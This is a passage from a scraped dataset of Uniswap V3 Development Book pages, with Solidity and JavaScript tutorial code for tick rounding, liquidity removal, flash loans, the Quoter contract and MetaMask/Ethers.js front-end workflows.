Amount Finishing the Swap Testing", - "labels": [ - "Documentation" - ] - }, - { - "title": "Tick Rounding #", - "html_url": "https://uniswapv3book.com/docs/milestone_4/tick-rounding/", - "body": "Uniswap V3 Development Book Milestone 0. Introduction Introduction to Markets Constant Function Market Makers Uniswap V3 Development Environment What We'll Build Milestone 1. First Swap Introduction Calculating Liquidity Providing Liquidity First Swap Manager Contract Deployment User Interface Milestone 2. Second Swap Introduction Output Amount Calculation Math in Solidity Tick Bitmap Index Generalize Minting Generalize Swapping Quoter Contract User Interface Milestone 3. Cross-tick Swaps Introduction Different Price Ranges Cross-Tick Swaps Slippage Protection Liquidity Calculation A Little Bit More on Fixed-point Numbers Flash Loans User Interface Milestone 4. Multi-pool Swaps Introduction Factory Contract Swap Path Multi-pool Swaps User Interface Tick Rounding Milestone 5. Fees and Price Oracle Introduction Swap Fees Flash Loan Fees Protocol Fees Price Oracle User Interface Milestone 6: NFT positions Introduction ERC721 Overview NFT Manager NFT Renderer Tick Rounding Tick Rounding nearestUsableTick in JavaScript nearestUsableTick in Solidity Tick Rounding # Lets review some other changes we need to make to support different tick spacings. Tick spacing greater than 1 wont allow users to select arbitrary price ranges: tick indexes must be multiples of a tick spacing. For example, for tick spacing 60 we can have ticks: 0, 60, 120, 180, etc. Thus, when user picks a range, we need to round it so its boundaries are multiples of pools tick spacing. nearestUsableTick in JavaScript # In the Uniswap V3 SDK , the function that does that is called nearestUsableTick : /** * Returns the closest tick that is nearest a given tick and usable for the given tick spacing * @param tick the target tick * @param tickSpacing the spacing of the pool */ export function nearestUsableTick ( tick : number , tickSpacing : number ) { invariant (Number. isInteger ( tick ) && Number. isInteger ( tickSpacing ), 'INTEGERS' ) invariant ( tickSpacing > 0 , 'TICK_SPACING' ) invariant ( tick >= TickMath . MIN_TICK && tick <= TickMath . MAX_TICK , 'TICK_BOUND' ) const rounded = Math. round ( tick / tickSpacing ) * tickSpacing if ( rounded < TickMath . MIN_TICK ) return rounded + tickSpacing else if ( rounded > TickMath . MAX_TICK ) return rounded - tickSpacing else return rounded } At its core, its just: Math. round ( tick / tickSpacing ) * tickSpacing Where Math.round is rounding to the nearest integer: when the fractional part is less than 0.5, it rounds to the lower integer; when its greater than 0.5 it rounds to the greater integer; and when its 0.5, it rounds to the greater integer as well. So, in the web app, well use nearestUsableTick when building mint parameters: const mintParams = { tokenA : pair . token0 . address , tokenB : pair . token1 . address , tickSpacing : pair . tickSpacing , lowerTick : nearestUsableTick ( lowerTick , pair . tickSpacing ), upperTick : nearestUsableTick ( upperTick , pair . tickSpacing ), amount0Desired , amount1Desired , amount0Min , amount1Min } In reality, it should be called whenever user adjusts a price range because we want the user to see the actual price that will be created. In our simplified app, we do it less user-friendly. However, we also want to have a similar function in Solidity tests, but neither of the math libraries were using implements it. nearestUsableTick in Solidity # In our smart contract tests, we need a way to round ticks and convert rounded prices to $\\sqrt{P}$. In a previous chapter, we chose to use ABDKMath64x64 to handle fixed-point numbers math in tests. The library, however, doesnt implement the rounding function we need to port nearestUsableTick , so well need to implement it ourselves: function divRound ( int128 x, int128 y) internal pure returns ( int128 result) { int128 quot = ABDKMath64x64.div(x, y); result = quot >> 64 ; // Check if remainder is greater than 0.5 if (quot % 2 ** 64 >= 0x8000000000000000 ) { result += 1 ; } } The function does multiple things: it divides two Q64.64 numbers; it then rounds the result to the decimal one ( result = quot >> 64 ), the fractional part is lost at this point (i.e. the result is rounded down); it then divides the quotient by $2^{64}$, takes the remainder, and compares it with 0x8000000000000000 (which is 0.5 in Q64.64); if the remainder is greater or equal to 0.5, it rounds the result to the greater integer. What we get is an integer rounded according to the rules of Math.round from JavaScript. We can then re-implement nearestUsableTick : function nearestUsableTick ( int24 tick_, uint24 tickSpacing) internal pure returns ( int24 result) { result = int24 (divRound( int128 (tick_), int128 ( int24 (tickSpacing)))) * int24 (tickSpacing); if (result < TickMath.MIN_TICK) { result += int24 (tickSpacing); } else if (result > TickMath.MAX_TICK) { result -= int24 (tickSpacing); } } Thats it! \\[ \\] Tick Rounding nearestUsableTick in JavaScript nearestUsableTick in Solidity", - "labels": [ - "Documentation" - ] - }, - { - "title": "User Interface #", - "html_url": "https://uniswapv3book.com/docs/milestone_5/user-interface/", - "body": "Uniswap V3 Development Book Milestone 0. Introduction Introduction to Markets Constant Function Market Makers Uniswap V3 Development Environment What We'll Build Milestone 1. First Swap Introduction Calculating Liquidity Providing Liquidity First Swap Manager Contract Deployment User Interface Milestone 2. Second Swap Introduction Output Amount Calculation Math in Solidity Tick Bitmap Index Generalize Minting Generalize Swapping Quoter Contract User Interface Milestone 3. Cross-tick Swaps Introduction Different Price Ranges Cross-Tick Swaps Slippage Protection Liquidity Calculation A Little Bit More on Fixed-point Numbers Flash Loans User Interface Milestone 4. Multi-pool Swaps Introduction Factory Contract Swap Path Multi-pool Swaps User Interface Tick Rounding Milestone 5. Fees and Price Oracle Introduction Swap Fees Flash Loan Fees Protocol Fees Price Oracle User Interface Milestone 6: NFT positions Introduction ERC721 Overview NFT Manager NFT Renderer User Interface User Interface Fetching Positions Getting Pool Address Removing Liquidity User Interface # In this milestone, weve added the ability to remove liquidity from a pool and collect accumulated fees. Thus, we need to reflect these changes in the user interface to allow users to remove liquidity. Fetching Positions # To let user choose how much liquidity to remove, we first need to fetch users positions from a pool. To makes this easier, we can add a helper function to the Manager contract, which will return user position in a specific pool: function getPosition (GetPositionParams calldata params) public view returns ( uint128 liquidity, uint256 feeGrowthInside0LastX128, uint256 feeGrowthInside1LastX128, uint128 tokensOwed0, uint128 tokensOwed1 ) { IUniswapV3Pool pool = getPool(params.tokenA, params.tokenB, params.fee); ( liquidity, feeGrowthInside0LastX128, feeGrowthInside1LastX128, tokensOwed0, tokensOwed1 ) = pool.positions( keccak256( abi.encodePacked( params.owner, params.lowerTick, params.upperTick ) ) ); } This will free us from calculating a pool address and a position key on the front end. Then, after user typed in a position range, we can try fetching a position: const getAvailableLiquidity = debounce (( amount , isLower ) => { const lowerTick = priceToTick ( isLower ? amount : lowerPrice ); const upperTick = priceToTick ( isLower ? upperPrice : amount ); const params = { tokenA : token0 . address , tokenB : token1 . address , fee : fee , owner : account , lowerTick : nearestUsableTick ( lowerTick , feeToSpacing [ fee ]), upperTick : nearestUsableTick ( upperTick , feeToSpacing [ fee ]), } manager . getPosition ( params ) . then ( position => setAvailableAmount ( position . liquidity . toString ())) . catch ( err => console . error ( err )); }, 500 ); Getting Pool Address # Since we need to call burn and collect on a pool, we still need to compute pools address on the front end. Recall that pool addresses are compute using the CREATE2 opcode, which requires a salt and the hash of contracts code. Luckily, Ether.js has getCreate2Address function that allows to compute CREATE2 in JavaScript: const sortTokens = ( tokenA , tokenB ) => { return tokenA . toLowerCase () < tokenB . toLowerCase ? [ tokenA , tokenB ] : [ tokenB , tokenA ]; } const computePoolAddress = ( factory , tokenA , tokenB , fee ) => { [ tokenA , tokenB ] = sortTokens ( tokenA , tokenB ); return ethers . utils . getCreate2Address ( factory , ethers . utils . keccak256 ( ethers . utils . solidityPack ( [ 'address' , 'address' , 'uint24' ], [ tokenA , tokenB , fee ] )), poolCodeHash ); } However, pools codehash has to be hard coded because we dont want to store its code on the front end to calculate the hash. So, well use Forge to get the hash: $ forge inspect UniswapV3Pool bytecode| xargs cast keccak 0x... And then use the output value in a JS constant: const poolCodeHash = \"0x9dc805423bd1664a6a73b31955de538c338bac1f5c61beb8f4635be5032076a2\" ; Removing Liquidity # After obtaining liquidity amount and pool address, were ready to call burn : const removeLiquidity = ( e ) => { e . preventDefault (); if ( ! token0 || ! token1 ) { return ; } setLoading ( true ); const lowerTick = nearestUsableTick ( priceToTick ( lowerPrice ), feeToSpacing [ fee ]); const upperTick = nearestUsableTick ( priceToTick ( upperPrice ), feeToSpacing [ fee ]); pool . burn ( lowerTick , upperTick , amount ) . then ( tx => tx . wait ()) . then ( receipt => { if ( ! receipt . events [ 0 ] || receipt . events [ 0 ]. event !== \"Burn\" ) { throw Error( \"Missing Burn event after burning!\" ); } const amount0Burned = receipt . events [ 0 ]. args . amount0 ; const amount1Burned = receipt . events [ 0 ]. args . amount1 ; return pool . collect ( account , lowerTick , upperTick , amount0Burned , amount1Burned ) }) . then ( tx => tx . wait ()) . then (() => toggle ()) . catch ( err => console . error ( err )); } If burning was successful, we immediately call collect to collect the token amounts that were freed during burning. User Interface Fetching Positions Getting Pool Address Removing Liquidity", - "labels": [ - "Documentation" - ] - }, - { - "title": "", - "html_url": "https://uniswapv3book.com/docs/milestone_3/flash-loans/", - "body": "Uniswap V3 Development Book Milestone 0. Introduction Introduction to Markets Constant Function Market Makers Uniswap V3 Development Environment What We'll Build Milestone 1. First Swap Introduction Calculating Liquidity Providing Liquidity First Swap Manager Contract Deployment User Interface Milestone 2. Second Swap Introduction Output Amount Calculation Math in Solidity Tick Bitmap Index Generalize Minting Generalize Swapping Quoter Contract User Interface Milestone 3. Cross-tick Swaps Introduction Different Price Ranges Cross-Tick Swaps Slippage Protection Liquidity Calculation A Little Bit More on Fixed-point Numbers Flash Loans User Interface Milestone 4. Multi-pool Swaps Introduction Factory Contract Swap Path Multi-pool Swaps User Interface Tick Rounding Milestone 5. Fees and Price Oracle Introduction Swap Fees Flash Loan Fees Protocol Fees Price Oracle User Interface Milestone 6: NFT positions Introduction ERC721 Overview NFT Manager NFT Renderer Flash Loans Flash Loans Implementing Flash Loans Flash Loans # Both Uniswap V2 and V3 implement flash loans: unlimited and uncollateralized loans that must be repaid in the same transaction. Pools basically give users arbitrary amounts of tokens that they request, but, by the end of the call, the amounts must be repaid, with a small fee on top. The fact that flash loans must be repaid in the same transaction means that flash loans cannot be taken by regular users: as a user, you cannot program custom logic in transactions. Flash loans can only be taken and repaid by smart contracts. Flash loans is a powerful financial instrument in DeFi. While its often used to exploit vulnerabilities in DeFi protocols (by inflating pool balances and abusing flawed state management), its has many good applications (e.g. leveraged positions management on lending protocols)this is why DeFi applications that store liquidity provide permissionless flash loans. Implementing Flash Loans # In Uniswap V2 flash loans were part of the swapping functionality: it was possible to borrow tokens during a swap, but you had to return them or an equal amount of the other pool token, in the same transaction. In V3, flash loans are separated from swappingits simply a function that gives the caller an amount of tokens they requested, calls a callback on the caller, and ensures a flash loan was repaid: function flash ( uint256 amount0, uint256 amount1, bytes calldata data ) public { uint256 balance0Before = IERC20(token0).balanceOf( address (this)); uint256 balance1Before = IERC20(token1).balanceOf( address (this)); if (amount0 > 0 ) IERC20(token0).transfer(msg.sender, amount0); if (amount1 > 0 ) IERC20(token1).transfer(msg.sender, amount1); IUniswapV3FlashCallback(msg.sender).uniswapV3FlashCallback(data); require(IERC20(token0).balanceOf( address (this)) >= balance0Before); require(IERC20(token1).balanceOf( address (this)) >= balance1Before); emit Flash(msg.sender, amount0, amount1); } The function sends tokens to the caller and then calls uniswapV3FlashCallback on itthis is where the caller is expected to repay the loan. Then the function ensures that its balances havent decreased. Notice that custom data is allowed to be passed to the callback. Heres an example of the callback implementation: function uniswapV3FlashCallback ( bytes calldata data) public { ( uint256 amount0, uint256 amount1) = abi.decode( data, ( uint256 , uint256 ) ); if (amount0 > 0 ) token0.transfer(msg.sender, amount0); if (amount1 > 0 ) token1.transfer(msg.sender, amount1); } In this implementation, were simply sending tokens back to the pool (I used this callback in flash function tests). In reality, it can use the loaned amounts to perform some operations on other DeFi protocols. But it always must repay the loan in this callback. And thats it! Flash Loans Implementing Flash Loans", - "labels": [ - "Documentation" - ] - }, - { - "title": "Quoter Contract #", - "html_url": "https://uniswapv3book.com/docs/milestone_2/quoter-contract/", - "body": "Uniswap V3 Development Book Milestone 0. Introduction Introduction to Markets Constant Function Market Makers Uniswap V3 Development Environment What We'll Build Milestone 1. First Swap Introduction Calculating Liquidity Providing Liquidity First Swap Manager Contract Deployment User Interface Milestone 2. Second Swap Introduction Output Amount Calculation Math in Solidity Tick Bitmap Index Generalize Minting Generalize Swapping Quoter Contract User Interface Milestone 3. Cross-tick Swaps Introduction Different Price Ranges Cross-Tick Swaps Slippage Protection Liquidity Calculation A Little Bit More on Fixed-point Numbers Flash Loans User Interface Milestone 4. Multi-pool Swaps Introduction Factory Contract Swap Path Multi-pool Swaps User Interface Tick Rounding Milestone 5. Fees and Price Oracle Introduction Swap Fees Flash Loan Fees Protocol Fees Price Oracle User Interface Milestone 6: NFT positions Introduction ERC721 Overview NFT Manager NFT Renderer Quoter Contract Quoter Contract Recap Quoter Limitation Quoter Contract # To integrate our updated Pool contract into the front end app, we need a way to calculate swap amounts without making a swap. Users will type in the amount they want to sell, and we want to calculate and show them the amount theyll get in exchange. Well do this through Quoter contract. Since liquidity in Uniswap V3 is scattered over multiple price ranges, we cannot calculate swap amounts with a formula (which was possible in Uniswap V2). The design of Uniswap V3 forces us to use a different approach: to calculate swap amounts, well initiate a real swap and will interrupt it in the callback function, grabbing the amounts calculated by Pool contract. That is, we have to simulate a real swap to calculate output amount! Again, well make a helper contract for that: contract UniswapV3Quoter { struct QuoteParams { address pool; uint256 amountIn; bool zeroForOne; } function quote (QuoteParams memory params) public returns ( uint256 amountOut, uint160 sqrtPriceX96After, int24 tickAfter ) { ... Quoter is a contract that implements only one public function quote . Quoter is a universal contract that works with any pool so it takes pool address as a parameter. The other parameters ( amountIn and zeroForOne ) are required to simulate a swap. try IUniswapV3Pool(params.pool).swap( address (this), params.zeroForOne, params.amountIn, abi.encode(params.pool) ) {} catch ( bytes memory reason) { return abi.decode(reason, ( uint256 , uint160 , int24 )); } The only thing that the contract does is calling swap function of a pool. The call is expected to revert (i.e. throw an error)well do this in the swap callback. In the case of a revert, revert reason is decoded and returned; quote will never revert. Notice that, in the extra data, were passing only pool addressin the swap callback, well use it to get pools slot0 after a swap. function uniswapV3SwapCallback ( int256 amount0Delta, int256 amount1Delta, bytes memory data ) external view { address pool = abi.decode(data, ( address )); uint256 amountOut = amount0Delta > 0 ? uint256 ( - amount1Delta) : uint256 ( - amount0Delta); ( uint160 sqrtPriceX96After, int24 tickAfter) = IUniswapV3Pool(pool) .slot0(); In the swap callback, were collecting values that we need: output amount, new price, and corresponding tick. Next, we need to save these values and revert: assembly { let ptr := mload ( 0x40 ) mstore (ptr, amountOut) mstore ( add (ptr, 0x20 ), sqrtPriceX96After) mstore ( add (ptr, 0x40 ), tickAfter) revert (ptr, 96 ) } For gas optimization, this piece is implemented in Yul , the language used for inline assembly in Solidity. Lets break it down: mload(0x40) reads the pointer of the next available memory slot (memory in EVM is organized in 32 byte slots); at that memory slot, mstore(ptr, amountOut) writes amountOut ; mstore(add(ptr, 0x20), sqrtPriceX96After) writes sqrtPriceX96After right after amountOut ; mstore(add(ptr, 0x40), tickAfter) writes tickAfter after sqrtPriceX96After ; revert(ptr, 96) reverts the call and returns 96 bytes (total length of the values we wrote to memory) of data at address ptr (start of the data we wrote above). So, were basically concatenating the bytes representations of the values we need (exactly what abi.encode() does). Notice that the offsets are always 32 bytes, even though sqrtPriceX96After takes 20 bytes ( uint160 ) and tickAfter takes 3 bytes ( int24 ). This is so we could use abi.decode() to decode the data: its counterpart, abi.encode() , encodes all integers as 32-byte words. Aaaand, done. Recap # Lets recap to better understand the algorithm: quote calls swap of a pool with input amount and swap direction; swap performs a real swap, it runs the loop to fill the input amount specified by user; to get tokens from user, swap calls the swap callback on the caller; the caller (Quote contract) implements the callback, in which it reverts with output amount, new price, and new tick; the revert bubbles up to the initial quote call; in quote , the revert is caught, revert reason is decoded and returned as the result of calling quote . I hope this is clear! Quoter Limitation # This design has one significant limitation: since quote calls swap function of Pool contract, and swap function is not a pure or view function (because it modifies contract state), quote cannot also be pure or view. swap modifies state and so does quote , even if not in Quoter contract. But we treat quote as a getter, a function that only reads contract data. This inconsistency means that EVM will use CALL opcode instead of STATICCALL when quote is called. This is not a big problem since Quoter reverts in the swap callback, and reverting resets the state modified during a callthis guarantees that quote wont modify the state of Pool contract (no actual trade will happen). Another inconvenience that comes from this issue is that calling quote from a client library (Ethers.js, Web3.js, etc.) will trigger a transaction. To fix this, well need to force the library to make a static call. Well see how to do this in Ethers.js later in this milestone. Quoter Contract Recap Quoter Limitation", - "labels": [ - "Documentation" - ] - }, - { - "title": "User Interface #", - "html_url": "https://uniswapv3book.com/docs/milestone_1/user-interface/", - "body": "Uniswap V3 Development Book Milestone 0. Introduction Introduction to Markets Constant Function Market Makers Uniswap V3 Development Environment What We'll Build Milestone 1. First Swap Introduction Calculating Liquidity Providing Liquidity First Swap Manager Contract Deployment User Interface Milestone 2. Second Swap Introduction Output Amount Calculation Math in Solidity Tick Bitmap Index Generalize Minting Generalize Swapping Quoter Contract User Interface Milestone 3. Cross-tick Swaps Introduction Different Price Ranges Cross-Tick Swaps Slippage Protection Liquidity Calculation A Little Bit More on Fixed-point Numbers Flash Loans User Interface Milestone 4. Multi-pool Swaps Introduction Factory Contract Swap Path Multi-pool Swaps User Interface Tick Rounding Milestone 5. Fees and Price Oracle Introduction Swap Fees Flash Loan Fees Protocol Fees Price Oracle User Interface Milestone 6: NFT positions Introduction ERC721 Overview NFT Manager NFT Renderer User Interface User Interface Overview of Tools What is MetaMask? Convenience Libraries Workflows Connecting to Local Node Connecting to MetaMask Providing Liquidity Swapping Tokens Subscribing to Changes User Interface # Finally, we made it to the final stop of this milestonebuilding a user interface! Since building a front-end app is not the main goal of this book, I wont show how to build such an app from scratch. Instead, Ill show how to use MetaMask to interact with smart contracts. If you want to experiment with the app and run it locally, you can fund it in the ui folder in the code repo. This is a simple React app, to run it locally set contracts addresses in App.js and run yarn start . Overview of Tools # What is MetaMask? # MetaMask is an Ethereum wallet implemented as a browser extension. It creates and stores private keys, shows token balances, allows to connect to different networks, sends, and receives ether and tokenseverything a wallet has to do. Besides that, MetaMask acts as a signer and a provider. As a provider, it connects to an Ethereum node and provides an interface to use its JSON-RPC API. As a signer, it provides an interface for secure transaction signing, thus it can be used to sign any transaction using a private key from the wallet. Convenience Libraries # MetaMask, however, doesnt provide much functionality: it can only manage accounts and send raw transactions. We need another library that will make interaction with contracts easy. And we also want a set of utilities that will make our life easier when handling EVM-specific data (ABI encoding/decoding, big numbers handling, etc.). There are multiple such libraries. The two most popular ones are: web3.js and ethers.js . Picking either of them is a matter of personal preference. To me, Ethers.js seems to have a cleaner contract interaction interface, so Ill pick it. Workflows # Lets now see how we can implement interaction scenarios using MetaMask + Ethers.js. Connecting to Local Node # To send transactions and fetch blockchain data, MetaMask connects to an Ethereum node. To interact with our contracts, we need to connect to the local Anvil node. To do this, open MetaMask, click on the list of networks, click Add Network, and add a network with RPC URL http://localhost:8545 . Itll automatically detect the chain ID (31337 in the case of Anvil). After connecting to the local node, we need to import our private key. In MetaMask, click on the list of addresses, click Import Account, and paste the private key of the address you picked before deploying the contracts. After that, go to the assets list and import the addresses of the two tokens. Now you should see balances of the tokens in MetaMask. MetaMask is still somewhat bugged. One problem I struggled with is that it caches blockchain state when connected to localhost . Because of this, when restarting the node, you might see old token balances and state. To fix this, go to the advanced settings and click Reset Account. Youll need to do this each time after restarting the node. Connecting to MetaMask # Not every website is allowed to get access to your address in MetaMask. A website first needs to connect to MetaMask. When a new website is connecting to MetaMask, youll see a window that asks for permissions. Heres how to connect to MetaMask from a front-end app: // ui/src/contexts/MetaMask.js const connect = () => { if ( typeof (window. ethereum ) === 'undefined' ) { return setStatus ( 'not_installed' ); } Promise. all ([ window. ethereum . request ({ method : 'eth_requestAccounts' }), window. ethereum . request ({ method : 'eth_chainId' }), ]). then ( function ([ accounts , chainId ]) { setAccount ( accounts [ 0 ]); setChain ( chainId ); setStatus ( 'connected' ); }) . catch ( function ( error ) { console . error ( error ) }); } window.ethereum is an object provided by MetaMask, its the interface to communicate with MetaMask. If its undefined, MetaMask is not installed. If its defined, we can send two requests to MetaMask: eth_requestAccounts and eth_chainId . In fact, eth_requestAccounts connects a website to MetaMask. It basically queries an address from MetaMask, and MetaMask asks for permission from user. User will be able to choose which addresses to give access to. eth_chainId will ask for the chain ID of the node MetaMask is connected to. After obtaining an address and chain ID, its a good practice to display them in the interface: Providing Liquidity # To provide liquidity into the pool, we need to build a form that asks the user to type the amounts they want to deposit. After clicking Submit, the app will build a transaction that calls mint in the manager contract and provides the amounts chosen by users. Lets see how to do this. Ether.js provides Contract interface to interact with contracts. It makes our life much easier, since it takes on the job of encoding function parameters, creating a valid transaction, and handing it over to MetaMask. For us, calling contracts looks like calling asynchronous methods on a JS object. Lets see how to create an instance of Contracts : token0 = new ethers . Contract ( props . config . token0Address , props . config . ABIs . ERC20 , new ethers . providers . Web3Provider (window. ethereum ). getSigner () ); A Contract instance is an address and the ABI of the contract deployed at this address. The ABI is needed to interact with the contract. The third parameter is the signer interface provided by MetaMaskits used by the JS contract instance to sign transactions via MetaMask. Now, lets add a function for adding liquidity to the pool: const addLiquidity = ( account , { token0 , token1 , manager }, { managerAddress , poolAddress }) => { const amount0 = ethers . utils . parseEther ( \"0.998976618347425280\" ); const amount1 = ethers . utils . parseEther ( \"5000\" ); // 5000 USDC const lowerTick = 84222 ; const upperTick = 86129 ; const liquidity = ethers . BigNumber . from ( \"1517882343751509868544\" ); const extra = ethers . utils . defaultAbiCoder . encode ( [ \"address\" , \"address\" , \"address\" ], [ token0 . address , token1 . address , account ] ); ... The first thing to do is to prepare the parameters. We use the same values we calculated earlier. Next, we allow the manager contract to take our tokens. First, we check the current allowances: Promise. all ( [ token0 . allowance ( account , managerAddress ), token1 . allowance ( account , managerAddress ) ] ) Then, we check if either of them is enough to transfer a corresponding amount of tokens. If not, were sending an approve transaction, which asks the user to approve spending of a specific amount to the manager contract. After ensuring that the user has approved full amounts, we call manager.mint to add liquidity: . then (([ allowance0 , allowance1 ]) => { return Promise. resolve () . then (() => { if ( allowance0 . lt ( amount0 )) { return token0 . approve ( managerAddress , amount0 ). then ( tx => tx . wait ()) } }) . then (() => { if ( allowance1 . lt ( amount1 )) { return token1 . approve ( managerAddress , amount1 ). then ( tx => tx . wait ()) } }) . then (() => { return manager . mint ( poolAddress , lowerTick , upperTick , liquidity , extra ) . then ( tx => tx . wait ()) }) . then (() => { alert ( 'Liquidity added!' ); }); }) lt is a method of BigNumber . Ethers.js uses BigNumber to represent uint256 type, for which JavaScript doesnt have enough precision . This is one of the reasons why we want a convenience library. This is pretty much similar to the test contract, besides the allowances part. token0 , token1 , and manager in the above code are instances of Contract . approve and mint are contract functions, which were generated dynamically from the ABIs we provided when instantiated the contracts. When calling these methods, Ethers.js: encodes function parameters; builds a transaction; passes the transaction to MetaMask and asks to sign it; user sees a MetaMask window and presses Confirm; sends the transaction to the node MetaMask is connected to; returns a transaction object with full information about the sent transaction. The transaction object also contains wait function, which we call to wait for a transaction to be minedthis allows us to wait for a transaction to be successfully executed before sending another. Ethereum requires a strict order of transaction. Remember the nonce? Its an account-wide index of transactions, sent by this account. Every new transaction increases this index, and Ethereum wont mine a transaction until a previous transaction (one with a smaller nonce) was mined. Swapping Tokens # To swap tokens, we use the same pattern: get parameters from the user, check allowance, call swap on the manager. const swap = ( amountIn , account , { tokenIn , manager , token0 , token1 }, { managerAddress , poolAddress }) => { const amountInWei = ethers . utils . parseEther ( amountIn ); const extra = ethers . utils . defaultAbiCoder . encode ( [ \"address\" , \"address\" , \"address\" ], [ token0 . address , token1 . address , account ] ); tokenIn . allowance ( account , managerAddress ) . then (( allowance ) => { if ( allowance . lt ( amountInWei )) { return tokenIn . approve ( managerAddress , amountInWei ). then ( tx => tx . wait ()) } }) . then (() => { return manager . swap ( poolAddress , extra ). then ( tx => tx . wait ()) }) . then (() => { alert ( 'Swap succeeded!' ); }). catch (( err ) => { console . error ( err ); alert ( 'Failed!' ); }); } The only new thing here is ethers.utils.parseEther() function, which we use to convert numbers to wei, the smallest unit in Ethereum. Subscribing to Changes # For a decentralized application, its important to reflect the current blockchain state. For example, in the case of a decentralized exchange, its critical to properly calculate swap prices based on current pool reserves; outdated data can cause slippage and make a swap transaction fail. While developing the pool contract, we learned about events, which act as blockchain data indexes: whenever smart contract state is modified, its a good practice to emit an event since events are indexed for quick search. What were going to do now, is to subscribe to contract events to keep our front-end app updated. Lets build an event feed! If you checked the ABI file as I recommended earlier, you saw that it also contains description of events: event name and its fields. Well, Ether.js parses them and provides an interface to subscribe to new events. Lets see how this works. To subscribe to events, well use on(EVENT_NAME, handler) function. The callback receives all the fields of the event and the event itself as parameters: const subscribeToEvents = ( pool , callback ) => { pool . on ( \"Mint\" , ( sender , owner , tickLower , tickUpper , amount , amount0 , amount1 , event ) => callback ( event )); pool . on ( \"Swap\" , ( sender , recipient , amount0 , amount1 , sqrtPriceX96 , liquidity , tick , event ) => callback ( event )); } To filter and fetch previous events, we can use queryFilter : Promise. all ([ pool . queryFilter ( \"Mint\" , \"earliest\" , \"latest\" ), pool . queryFilter ( \"Swap\" , \"earliest\" , \"latest\" ), ]). then (([ mints , swaps ]) => { ... }); You probably noticed that some event fields are marked as indexed such fields are indexed by Ethereum nodes, which lets search events by specific values in such fields. For example, the Swap event has sender and recipient fields indexed, so we can search by swap sender and recipient. And again, Ethere.js makes this easier: const swapFilter = pool . filters . Swap ( sender , recipient ); const swaps = await pool . queryFilter ( swapFilter , fromBlock , toBlock ); And thats it! Were done with milestone 1! \\[ \\] User Interface Overview of Tools What is MetaMask? Convenience Libraries Workflows Connecting to Local Node Connecting to MetaMask Providing Liquidity Swapping Tokens Subscribing to Changes", - "labels": [ - "Documentation" - ] - }, - { - "title": "User Interface #", - "html_url": "https://uniswapv3book.com/docs/milestone_2/user-interface/", - "body": "Uniswap V3 Development Book Milestone 0. Introduction Introduction to Markets Constant Function Market Makers Uniswap V3 Development Environment What We'll Build Milestone 1. First Swap Introduction Calculating Liquidity Providing Liquidity First Swap Manager Contract Deployment User Interface Milestone 2. Second Swap Introduction Output Amount Calculation Math in Solidity Tick Bitmap Index Generalize Minting Generalize Swapping Quoter Contract User Interface Milestone 3. Cross-tick Swaps Introduction Different Price Ranges Cross-Tick Swaps Slippage Protection Liquidity Calculation A Little Bit More on Fixed-point Numbers Flash Loans User Interface Milestone 4. Multi-pool Swaps Introduction Factory Contract Swap Path Multi-pool Swaps User Interface Tick Rounding Milestone 5. Fees and Price Oracle Introduction Swap Fees Flash Loan Fees Protocol Fees Price Oracle User Interface Milestone 6: NFT positions Introduction ERC721 Overview NFT Manager NFT Renderer User Interface User Interface User Interface # Lets make our web app work more like a real DEX. We can now remove hardcoded swap amounts and let users type arbitrary amounts. Moreover, we can now let users swap in both direction, so we also need a button to swap the token inputs. After updating, the swap form will look like: < form className = \"SwapForm\" > < SwapInput amount = { zeroForOne ? amount0 : amount1 } disabled = { ! enabled || loading } readOnly = { false } setAmount = { setAmount_ ( zeroForOne ? setAmount0 : setAmount1 , zeroForOne )} token = { zeroForOne ? pair [ 0 ] : pair [ 1 ]} /> < ChangeDirectionButton zeroForOne = { zeroForOne } setZeroForOne = { setZeroForOne } disabled = { ! enabled || loading } /> < SwapInput amount = { zeroForOne ? amount1 : amount0 } disabled = { ! enabled || loading } readOnly = { true } token = { zeroForOne ? pair [ 1 ] : pair [ 0 ]} /> < button className = 'swap' disabled = { ! enabled || loading } onClick = { swap_ } > Swap < /button> < /form> Each input has an amount assigned to it depending on swap direction controlled by zeroForOne state variable. The lower input field is always read-only because its value is calculated by Quoter contract. setAmount_ function does two things: it updates the value of the top input and calls Quoter contract to calculate the value of the lower input: const updateAmountOut = debounce (( amount ) => { if ( amount === 0 || amount === \"0\" ) { return ; } setLoading ( true ); quoter . callStatic . quote ({ pool : config . poolAddress , amountIn : ethers . utils . parseEther ( amount ), zeroForOne : zeroForOne }) . then (({ amountOut }) => { zeroForOne ? setAmount1 ( ethers . utils . formatEther ( amountOut )) : setAmount0 ( ethers . utils . formatEther ( amountOut )); setLoading ( false ); }) . catch (( err ) => { zeroForOne ? setAmount1 ( 0 ) : setAmount0 ( 0 ); setLoading ( false ); console . error ( err ); }) }) const setAmount_ = ( setAmountFn ) => { return ( amount ) => { amount = amount || 0 ; setAmountFn ( amount ); updateAmountOut ( amount ) } } Notice the callStatic called on quoter this is what we discussed in the previous chapter: we need to force Ethers.js to make a static call. Since quote is not a pure or view function, Ethers.js will try to call quote in a transaction. And thats it! The UI now allows to specify arbitrary amounts and swap in either direction! User Interface", - "labels": [ - "Documentation" - ] - }, - { - "title": "User Interface #", - "html_url": "https://uniswapv3book.com/docs/milestone_3/user-interface/", - "body": "Uniswap V3 Development Book Milestone 0. Introduction Introduction to Markets Constant Function Market Makers Uniswap V3 Development Environment What We'll Build Milestone 1. First Swap Introduction Calculating Liquidity Providing Liquidity First Swap Manager Contract Deployment User Interface Milestone 2. Second Swap Introduction Output Amount Calculation Math in Solidity Tick Bitmap Index Generalize Minting Generalize Swapping Quoter Contract User Interface Milestone 3. Cross-tick Swaps Introduction Different Price Ranges Cross-Tick Swaps Slippage Protection Liquidity Calculation A Little Bit More on Fixed-point Numbers Flash Loans User Interface Milestone 4. Multi-pool Swaps Introduction Factory Contract Swap Path Multi-pool Swaps User Interface Tick Rounding Milestone 5. Fees and Price Oracle Introduction Swap Fees Flash Loan Fees Protocol Fees Price Oracle User Interface Milestone 6: NFT positions Introduction ERC721 Overview NFT Manager NFT Renderer User Interface User Interface Add Liquidity Dialog Slippage Tolerance in Swapping User Interface # Were now ready to update the UI with the changes we made in this milestone. Well add two new features: Add Liquidity dialog window; slippage tolerance in swapping. Add Liquidity Dialog # This change will finally remove hard coded liquidity amounts from our code and will allow use to add liquidity at arbitrary ranges. The dialog is a simple component with a couple of inputs. We can even re-use addLiquidity function from previous implementation. However, now we need to convert prices to tick indices in JavaScript: we want users to type in prices but the contracts expect ticks. To make our job easier, well use the official Uniswap V3 SDK for that. To convert price to $\\sqrt{P}$, we can use encodeSqrtRatioX96 function. The function takes two amounts as input and calculates a price by 